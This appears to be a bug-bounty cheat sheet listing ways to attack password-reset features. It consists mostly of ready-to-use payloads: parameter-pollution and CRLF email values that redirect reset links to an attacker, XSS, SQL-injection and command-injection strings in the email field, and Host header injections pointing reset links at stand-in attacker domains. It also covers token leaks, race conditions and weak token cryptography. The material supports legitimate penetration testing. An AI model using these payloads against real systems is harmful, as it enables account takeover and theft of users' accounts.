Reset Password Feature

By: h0tak88r

OTP ?

try 2FA Bypass techniques

HTML Injection

<h1>attacker</h1><a href="your-controlled-domain"Click here

Password reset token leaked via Referrer header

1) Request a password reset link for a valid account from the target
2) Click on the reset link from your link
3) Before resetting the password click on the Facebook link footer section
4) You will notice the following request in Burpsuite

ATO from manipulating the email Parameter

email=victim@mail.com&email=hacker@mail.com

{"email":["victim@mail.com","hacker@mail.com"]}

email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

email@email.com,victim@hack.secry
email@email","victim@hack.secry
email@email.com:victim@hack.secry
email@email.com%0d%0avictim@hack.secry

Link will be sent to abc@xn--gmil-6na.com

abc@gmail.com --> abc@gmail.com

IDN Homograph Attack

Normalization Table

"><svg/onload=confirm(1)>"@x.y
["'),alert(`XSS`)//"]@xyz.xxx
"<svg/onload=alert(1)>"@gmail.com
test@gmail.com%27\\%22%3E%3Csvg/onload=alert(/xss/)%3E — XSS in email

email=hello@`whoami`.xyz.burpcollaborator.net — Try Command injection

SQLi: test@test.com'+(select*from(select(sleep(2)))a)+' — SQL Injection

XXE (if forgot-password request accepts xml).

Host Header Injection

X-Forwarded-Server , X-Forwarded-Host:

Add two HOST: Header to the request — Host: example.com?.mavenlink.com — Host: redacted.com.evil.com

victim.com@attacker.com — evil.com/redacted.com

X-Forwarded-Host: if(now()=sysdate(),sleep(10),0)/*'XOR (if(now()=sysdate(),sleep(10),0)) OR"XOR (if(now()=sysdate(),sleep(10),0))/'* — SQL Injection

/resetPassword?0a%0dHost:atracker.tld — CRLF

Host: javascript:alert(1); — XSS

Normalization Table — Host: victim.domain.com

Application Level DoS

When entering the new password try to input very large password which can lead to internal server error

Reset Password Link Leaked in the Response

Make a request for resetting your password but intercept the response if the target leaks the token in response you can get a 0-Click ATO

Weak Cryptography to Account Takeover's

Sometimes the Cryptography of the token is as easy as Base64 encode of the (timestamp with the email)

OR even --> Ceaser_Cipher_Key13(reverse(email)) == Password Reset Token

the password reset process uses weak cryptography, such as easily guessable hash values, an attacker may be able to guess or modify the hash value and reset the password without the user's knowledge

IDOR

Change Request Reference like IDs,User-Names,Emails,...

Token Related Issues

Failure to Invalidate Session -> On Password Reset and/or Change

Token is Not Invalidated After Use

Password Reset Token Sent Over HTTP

Token is Not Invalidated After Email Change

Token is Not Invalidated After Login — Token Has Long Timed Expiry

Token is Not Invalidated After New Token is Requested

Race Condetion

Use Burp Extentsion "turbo-intruder" or nuclei tool or even using curl command and attemp to perform a race condition for two requests with two different emails then notice that the two links are the same!!

No-Rate-Limit

Request Password reset link and pass this request to intruder if the target is vulnerable this will fload the victijm gmail

Captcha ? then Bypass it

Broken Password Reet Logic

Register with a username identical to the victim's username, but with white spaces inserted before and/or after the username("tuhin1729 ", " tuhin1729 " etc). Try a password reset for your account. Use the token to reset victim's password. A similar vulnerability was found in CTFd (CVE-2020-7245

Change the request method and content-type and observer how the application is responding.

2FA auto disabled after password reset.

Sometimes Even if the Account has 2FA enabled.....but when resetting the password there is no 2FA-Code Demanded